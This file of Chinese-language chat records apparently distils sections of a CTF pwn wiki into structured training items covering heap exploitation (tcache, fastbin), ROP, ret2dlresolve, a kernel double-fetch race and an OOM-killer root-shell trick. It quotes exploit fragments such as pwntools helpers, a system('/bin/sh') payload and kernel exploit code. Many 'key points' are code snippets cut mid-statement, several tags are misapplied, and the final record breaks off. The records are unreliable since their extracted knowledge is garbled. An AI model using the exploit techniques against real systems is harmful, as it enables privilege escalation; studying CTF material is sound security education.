分块：1/1

核心知识点：
- 本节主题围绕“Reference”展开。
- https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x04-Kernel-Heap-Use-After-Free https://bbs.pediy.com/thread-247054.htm https://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html http://muhe.live/2017/07/13/babydriver-writeup...

关键术语：
- UAF
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Reference

UAF 堆 漏洞利用 pwn linux kernel-mode exploitation

kernel UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「基本思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 攻击原理 > Blind ROP > 基本思路
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本思路”展开。
- ret # write syscall number syscall `` 但通常来说，这样的方法都是比较困难的，因为想要找到一个syscall的地址基本不可能。
- 最朴素的执行write函数的方法就是构造系统调用。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow
- code:asm

代码/命令片段线索：
- asm: 5 行，首行 `pop rdi; ret # socket`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本思路

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow code:asm

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「from pwn import *」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：from pwn import *
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“from pwn import *”展开。
- context(os='linux', arch='amd64', log_level='debug')
- def cmd(idx): p.recvuntil('>') p.sendline(str(idx))
- def new(size, content): cmd(1) p.recvuntil('>') p.sendline(str(size)) p.recvuntil('> ') if len(content) >= size: p.send(content) else: p.sendline(content)
- def delete(idx): cmd(2) p.recvuntil('index \n> ') p.sendline(str(idx))
- def show(idx): cmd(3) p.recvuntil('> ') p.sendline(str(idx)) return p.recvline()[:-1]

关键术语：
- UAF
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

from pwn import *

UAF 边界/溢出 堆 AI安全 漏洞利用 pwn linux user-mode heap


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md` 中的章节「合并 chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md`
标题：malloc_state 相关函数
章节：malloc_state 相关函数 > malloc_consolidate > 合并 chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“合并 chunk”展开。
- } else // 设置 nextchunk 的 prev inuse 为0，以表明可以合并当前 fast chunk。
- ``c / If max_fast is 0, we know that av hasn't yet been initialized, in which case do so below / // 说明 fastbin 已经初始化 if (get_max_fast() !
- = 0) { // 清空 fastbin 标记 // 因为要合并 fastbin 中的 chunk 了。
- / Slightly streamlined version of consolidation code in free() */ size = chunksize(p);
- prev_inuse(p)) { prevsize = prev_size(p);

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 67 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

合并 chunk

malloc_state 相关函数
malloc_consolidate
合并 chunk

malloc_state 相关函数


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「重排堆块结构，释放出 unsorted bin chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x05 The pwn of CTF > Challenge 1 : LCTF2018 PWN easy_heap > 利用步骤 > 重排堆块结构，释放出 unsorted bin chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“重排堆块结构，释放出 unsorted bin chunk”展开。
- 由于本题只有 10 个可分配块数量，而整个过程中我们需要用到 3 个 unsorted bin 的 chunk ，加上 7 个 tcache 的 chunk ，所以需要进行一下重排，将一个 tcache 的 chunk 放到 3 个 unsorted bin chunk 和 top chunk 之间，否则会触发 top 的合并。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 13 行，首行 `# step 1: get three unsortedbin chunks`
- plain: 15 行，首行 `+-----+`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

重排堆块结构，释放出 unsorted bin chunk

define TCACHE_FILL_COUNT 7
0x05 The pwn of CTF
Challenge 1 : LCTF2018 PWN easy_heap
利用步骤
重排堆块结构，释放出 unsorted bin chunk

堆 漏洞利用 pwn linux user-mode heap code:python


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 基本信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本信息”展开。
- ```shell ➜ 2015_9447ctf_search-engine git:(master) file search search: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3...

关键术语：
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:shell

代码/命令片段线索：
- shell: 10 行，首行 `➜ 2015_9447ctf_search-engine git:(master) file search`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本信息

Fastbin Attack
2015 9447 CTF : Search Engine
基本信息

堆 栈 漏洞利用 pwn linux user-mode heap code:shell

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「解题思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`
标题：Double Fetch
章节：Double Fetch > 2018 0CTF Finals Baby Kernel > 解题思路
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“解题思路”展开。
- 首先我们需要利用提供的 cmd=0x6666 功能获取内核中 flag 的加载地址，在驱动中以 printk 输出的内容可以通过 dmesg 命令查看，在我们的 exp 中我们可以将 dmesg 的内容输出到文件中，再打开该文件进行读取。
- 接下来我们便能构造符合 cmd=0x1337 功能的数据结构，其中 flag_len 可以从硬编码中直接获取为 33， flag_str 指向一个用户空间地址。
- 虽然 flag 存储的地址已知，但是位于内核地址空间当中，我们将之直接传给模块并不能通过验证，那么这里就考虑 double fetch——先传入一个用户地址空间上的合法地址，开另一个线程进行竞争不断修改其为内核空间 flag 的地址，只要有一次命中我们便能获得 flag。
- 最后我们创建一个恶意线程，不断的将 flag_str 所指向的用户态地址修改为 flag 的内核地址以制造竞争条件，从而使其通过驱动中的逐字节比较检查，输出 flag 内容。

关键术语：
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

解题思路

Double Fetch
2018 0CTF Finals Baby Kernel
解题思路

Double Fetch


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/environment/build-qemu.md` 中的章节「调试 QEMU」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/environment/build-qemu.md`
标题：QEMU 下载与编译
章节：QEMU 下载与编译 > 调试 QEMU
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- QEMU 允许我们通过 -s 或是 -gdb tcp::1234 这样的附加参数来调试虚拟机（比如说调试 Linux kernel），但有的时候我们想要直接调试 QEMU 本体（比如说调试一些自己写的模拟设备），这个时候就需要我们将 Host 上的 QEMU 进程作为待调试对象。
- 由于 QEMU 本质上也是运行在宿主机上的一个进程，因此我们只需要直接找到其对应的 pid 便能直接使用 gdb attach 进行调试。

关键术语：
- pwn
- virtualization
- qemu
- environment

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

调试 QEMU

QEMU 下载与编译


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「确定 flag 地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：DEBUG("b *0x4006B9\nc") > Stack smash > 32C3 CTF readme > 确定 flag 地址
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定 flag 地址”展开。
- 我们把断点下载 memset 函数处，然后读取相应的内容如下 ``asm gef➤ c Continuing.
- qqqqqqq Nice to meet you, qqqqqqq.

关键术语：
- 边界/溢出
- 堆
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow
- code:asm

代码/命令片段线索：
- asm: 45 行，首行 `gef➤ c`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定 flag 地址

DEBUG("b *0x4006B9\nc")
Stack smash
32C3 CTF readme
确定 flag 地址

边界/溢出 堆 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow code:asm

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「pwntools」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct ropchain > used to make faking data, such relocation, Symbol, Str > pwntools
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 这里我们使用 pwntools 的工具进行攻击。
- ```python from pwn import * context.binary = elf = ELF("./main_partial_relro_32") rop = ROP(context.binary) dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

pwntools

used to make faking data, such relocation, Symbol, Str

边界/溢出 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md` 中的章节「tty4::askfirst:/bin/sh」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md`
标题：利用内存溢出触发 OOM Killer 提供 root shell
章节：tty4::askfirst:/bin/sh
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“tty4::askfirst:/bin/sh”展开。
- 而在 CTF kernel pwn 的初始环境当中，rcS 和 sh 通常有着同样的 OOM Score （一般为 678），而我们的 exploit 进程的初始分则通常较低（一般为 666），因此我们通常可以确保在进行大量内存分配的过程当中我们的 exploit 进程是最后被杀掉的，从而保证了当前 tty 最终不会有进程占用而唤起 root shell。
- 因此若是要达成这种攻击，我们需要在进行内存分配的同时避免增长我们的 exploit 进程的 OOM Score ，这通常可以通过内核层的非记录型页面分配行为完成，一个比较好的例子便是 packet socket 的 ring buffer 的分配，以下是一个最小化的 POC（create_pgv_socket() 等封装函数参见 D^3CTF2025 - d3kshrm）： > 此外，如果题目提供了进行大量分配内存页的权能（例如 D^3CTF2025 - d3kshrm，我们通常也可以直接使用题目所提供的 A...
- 不过需要注意的一点是这并不意味着仅是简单地进行内存分配就可以了，直接进行大量的内存分配会让 exploit 进程的 OOM Score 迅速增长，此时在 OOM Killer 的杀戮队列当中我们的 exploit 进程便是首当其冲的，而我们的 exploit 进程被杀掉之后内存分配的动作便停止了，OOM Killer 便不需要再去继续杀死后续的进程，从而导致最后的结果只是我们的 exploit 被简单地杀掉。
- `c void unintended_exploit(void) { int errno;
- i++) { if ((errno = create_pgv_socket(i)) < 0) { printf(ERROR_MSG("[x] Failed to allocate socket: ") "%d\n", i);

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

代码/命令片段线索：
- plain: 4 行，首行 `我们注意到 `::askfirst:` 项被配置为 `/bin/sh` ，这意味着 **如果我们能够触发 OOM Killer 将 1 号以外的所有的用户态进程杀掉，我们便能自动获得一个 root 权限的 shell** 。而在 CT...`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tty4::askfirst:/bin/sh

AI安全 漏洞利用 pwn linux kernel-mode exploitation

利用内存溢出触发 OOM Killer 提供 root shell


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`
标题：Cross-Cache Overflow & Page-level Heap Fengshui
章节：Cross-Cache Overflow & Page-level Heap Fengshui > 例题：corCTF2022 - cache-of-castaways > EXPLOIT
路径分类：pwn / pwn/linux/kernel-mode
分块：1/2

核心知识点：
- 本节主题围绕“EXPLOIT”展开。
- } int waiting_for_root_fn(void args) { / we're using the same stack for them, so we need to avoid cracking it.. / __asm__ volatile ( " lea rax, [check_root_pipe];
- " / execve("/bin/sh", args, NULL) / "failed: " " lea rdi, [timer];
- if (socket_fd < 0) { printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
- if (ret < 0) { printf("[x] failed at setsockopt(PACKET_VERSION)\n");
- if (ret < 0) { printf("[x] failed at setsockopt(PACKET_TX_RING)\n");

关键术语：
- 边界/溢出
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

EXPLOIT

边界/溢出 堆 栈 AI安全 漏洞利用 pwn linux kernel-mode exploitation


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「按照解析中的步骤进行 NULL 字节溢出触发」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x05 The pwn of CTF > Challenge 1 : LCTF2018 PWN easy_heap > 利用步骤 > 按照解析中的步骤进行 NULL 字节溢出触发
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“按照解析中的步骤进行 NULL 字节溢出触发”展开。
- `python new(0xf8, '0 - overflow') ` 在之后的步骤中，我们需要 A 处于 unsorted bin 释放状态，B 处于分配状态，C 处于分配状态，且最后可以在 tcache 块 7 个全满的情况下进行释放（触发合并），所以我们需要 7 个 tcache 都被 free 掉。
- 为了触发 NULL 字节溢出，我们需要使得解析中的 B 块可以溢出到 C 块中。
- `python # fill up tcache delete(6) ` 之后就可以将 C 块释放，进行合并。
- 由于题目中没有 edit 功能，所以我们需要让 B 块进入 tcache 中，这样就可以在释放后再分配出来，且由于 tcache 没有太多变化和检查，会较为稳定。
- 此时由于 B 块被分配为 tcache 块了，所以需要将防止 top 合并的 tcache 块释放掉。

关键术语：
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 11 行，首行 `for i in range(7):`
- python: 2 行，首行 `# delete first to provide valid fd & bk`
- plain: 15 行，首行 `+-----+`
- python: 1 行，首行 `new(0xf8, '0 - overflow')`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

按照解析中的步骤进行 NULL 字节溢出触发

define TCACHE_FILL_COUNT 7
0x05 The pwn of CTF
Challenge 1 : LCTF2018 PWN easy_heap
利用步骤
按照解析中的步骤进行 NULL 字节溢出触发

边界/溢出 堆 漏洞利用 pwn linux user-mode heap code:python


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md`
标题：glibc 2.24下 IO_FILE 的利用
章节：glibc 2.24下 IO_FILE 的利用 > 新的利用技术 > _IO_str_jumps -> finish > 示例
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“示例”展开。
- 修改了 how2heap 的 houseoforange 代码，可以自己动手调试一下。
- // unsorted bin attack p1 = malloc(0x400-16);
- // we can found "/bin/sh" in libc, here i create it in stack top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1;
- int main() { char p1, p2;
- ``c #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char ptr);

关键术语：
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- io-file
- code:c

代码/命令片段线索：
- c: 37 行，首行 `#include <stdio.h>`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

示例

glibc 2.24下 IO_FILE 的利用
新的利用技术
_IO_str_jumps -> finish
示例

堆 栈 AI安全 漏洞利用 pwn linux user-mode io-file code:c

glibc 2.24下 IO_FILE 的利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「define TCACHE_FILL_COUNT 7」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“define TCACHE_FILL_COUNT 7”展开。
- } ` 在 tcache_get 中，仅仅检查了 tc_idx ，此外，我们可以将 tcache 当作一个类似于 fastbin 的单独链表，只是它的check，并没有 fastbin 那么复杂，仅仅检查 tcache->entries[tc_idx] = e->next;
- endif `` 再复习一遍 tcache_get() 的源码 `C static __always_inline void tcache_get (size_t tc_idx) { tcache_entry e = tcache->entries[tc_idx];
- assert (tc_idx < TCACHE_MAX_BINS);
- assert (tcache->entries[tc_idx] > 0);
- (tcache->counts[tc_idx]);

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 1 行，首行 `再复习一遍 `tcache_get()` 的源码`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

define TCACHE_FILL_COUNT 7


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「define INTERNAL_SIZE_T size_t」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`
标题：堆相关数据结构
章节：define INTERNAL_SIZE_T size_t
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“define INTERNAL_SIZE_T size_t”展开。
- 堆管理器会通过 prev_size 字段以及 size 字段合并两个物理相邻的空闲 chunk` 块。
- 该字段的低三个比特位对 chunk 的大小没有影响，它们从高到低分别表示 - NON_MAIN_ARENA，记录当前 chunk 是否不属于主线程，1表示不属于，0表示属于。
- 一般来说，堆中第一个被分配的内存块的 size 字段的P位都会被设置为1，以便于防止访问前面的非法内存。
- It must be a power of two at least 2 SIZE_SZ, even on machines for which smaller alignments would suffice.
- 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理。

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 18 行，首行 `> 一般来说， `size_t` 被定义为 `unsigned long` ，其在 64 位中是 64 位无符号整数，32 位中是 32 位无符号整数。`
- plain: 4 行，首行 `>`
- plain: 1 行，首行 `被释放的 `chunk` 被记录在链表中（可能是循环双向链表，也可能是单向链表）。具体结构如下`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

define INTERNAL_SIZE_T size_t

堆相关数据结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/exploitation/tricks/qemu-monitor.md` 中的章节「DO NOT DELETE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/exploitation/tricks/qemu-monitor.md`
标题：利用 QEMU Monitor 读取 flag
章节：DO NOT DELETE
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“DO NOT DELETE”展开。
- /bin/sh ./qemu-system-x86_64 \ -L pc-bios/ \ -m 128M \ -kernel vmlinuz \ -initrd rootfs.img \ -smp 1 \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \ -device d3dev \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nograph...
- /etc/init.d/xinetd start;
- $ cat ctf.xinetd | grep -i server server = /usr/sbin/chroot server_args = --userspec=1000:1000 /home/ctf ./launch.sh `` 查看 launch.sh ，不难看出题目启动了一个 QEMU 虚拟机环境并加载了一个自定义设备 d3dev ，因此应当是一道 QEMU 逃逸的题目： `shell $ find . -name launch.sh ./bin/launch.sh $ ls bin launc...

关键术语：
- 漏洞利用
- pwn
- virtualization
- qemu
- exploitation

代码/命令片段线索：
- plain: 1 行，首行 `查看 `launch.sh` ，不难看出题目启动了一个 QEMU 虚拟机环境并加载了一个自定义设备 `d3dev` ，因此应当是一道 QEMU 逃逸的题目：`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

DO NOT DELETE

漏洞利用 pwn virtualization qemu exploitation

利用 QEMU Monitor 读取 flag


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“介绍”展开。
- fastbin attack 是一类漏洞的利用方法，是指所有基于 fastbin 机制的漏洞利用方法。
- 这类利用的前提是： 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞 漏洞发生于 fastbin 类型的 chunk 中 如果细分的话，可以做如下的分类： - Fastbin Double Free - House of Spirit - Alloc to Stack - Arbitrary Alloc 其中，前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk，然后再次申请 chunk 进行攻击，后两种侧重于故意修改 fd 指针，直接利用 malloc...

关键术语：
- UAF
- 边界/溢出
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

介绍

UAF 边界/溢出 堆 栈 漏洞利用 pwn linux user-mode heap

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2usr.md` 中的章节「例题：2018 强网杯 - core」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2usr.md`
标题：ret2usr（已过时）
